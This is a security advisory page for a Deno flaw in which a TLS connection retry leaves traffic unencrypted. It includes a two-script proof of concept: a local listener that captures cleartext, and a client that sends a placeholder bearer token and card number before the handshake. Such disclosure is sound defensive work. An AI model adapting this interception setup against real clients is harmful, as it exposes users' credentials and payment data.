CVE-2026-44726: Deno: TLS retry copies stale upgrade hook, risking plaintext traffic

Published May 27, 2026
·
Updated

Summary

A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.

As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.

A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.

Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.

Proof of concept

attacker.mjs (captures whatever the client sends)

ts import net from "node:net";

const server = net.createServer((socket) => { console.log("[attacker] client connected from", socket.remoteAddress); socket.on("data", (chunk) => { // If TLS were working, this would be an opaque ClientHello. // If the bug fires, we see the application payload in cleartext. console.log("[attacker] received", chunk.length, "bytes:"); console.log(chunk.toString("utf8")); }); });

server.listen(4444, "127.0.0.1", () => { console.log("[attacker] listening on 127.0.0.1:4444"); });

victim.mjs (a normal-looking TLS client)

ts import tls from "node:tls";

const socket = tls.connect({ host: "api.example.invalid", port: 4444, autoSelectFamily: true, // Node-compat default

// First address is a black hole (nothing on [::1]:4444), // so autoSelectFamily falls back to the second address. // In a real attack, the on-path attacker arranges this via // routing, DNS, or by dropping the first SYN. lookup: (host, opts, cb) => { cb(null, [ { address: "::1", family: 6 }, // fails -> retry { address: "127.0.0.1", family: 4 }, // attacker ]); },

rejectUnauthorized: false, });

// Application writes BEFORE secureConnect — common pattern in // Node clients that pipe a request body or send a greeting. socket.write("POST /v1/charge HTTP/1.1\r\n"); socket.write("Authorization: Bearer skliveSECRETTOKEN\r\n"); socket.write("Content-Type: application/json\r\n\r\n"); socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));

socket.on("secureConnect", () => console.log("[victim] secureConnect")); socket.on("error", (e) => console.log("[victim] error:", e.message));

In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs

Expected vs. observed

On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.

On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:

[attacker] received 41 bytes: POST /v1/charge HTTP/1.1 Authorization: Bearer skliveSECRETTOKEN ...

The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.

Other sources

Deno is a JavaScript, TypeScript, and WebAssembly runtime. From 2.0.0 until 2.7.8, a flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle. As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted. A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected. This vulnerability is fixed in 2.7.8.

— MITRE

Affected Software

2 affected componentsFixes available
rust/deno>=2.0.0<2.7.8
2.7.8
Deno Deno>=2.0.0<2.7.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/deno to a version that resolves this vulnerability.

    Fixed in 2.7.8
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.7.8
  3. Configuration

    Disable autoSelectFamily (Node-compat default is true) to avoid the TLS retry/fallback path that can copy a stale TLS upgrade hook and result in plaintext application data before secureConnect.

    Deno node:tls / node:https compatibility layer (socket option autoSelectFamily) autoSelectFamily = false

Event History

May 27, 2026
Advisory Published
via GitHub·07:51 PM
Data Sourced
via GitHub·07:51 PM
DescriptionSeverityWeaknessAffected Software
Jun 23, 2026
CVE Published
via MITRE·05:24 PM
Data Sourced
via MITRE·05:24 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-44726?

CVE-2026-44726 has a severity rating of 7.4, categorized as high.

2

What software is affected by CVE-2026-44726?

CVE-2026-44726 affects the Deno runtime, specifically its Node.js TLS compatibility layer.

3

How do I fix CVE-2026-44726?

To mitigate CVE-2026-44726, ensure that the 'autoSelectFamily' feature is disabled when using Deno.

4

What are the consequences of CVE-2026-44726?

CVE-2026-44726 can lead to application data being transmitted in plaintext, exposing sensitive information.

5

When was CVE-2026-44726 published?

CVE-2026-44726 was published on May 27, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203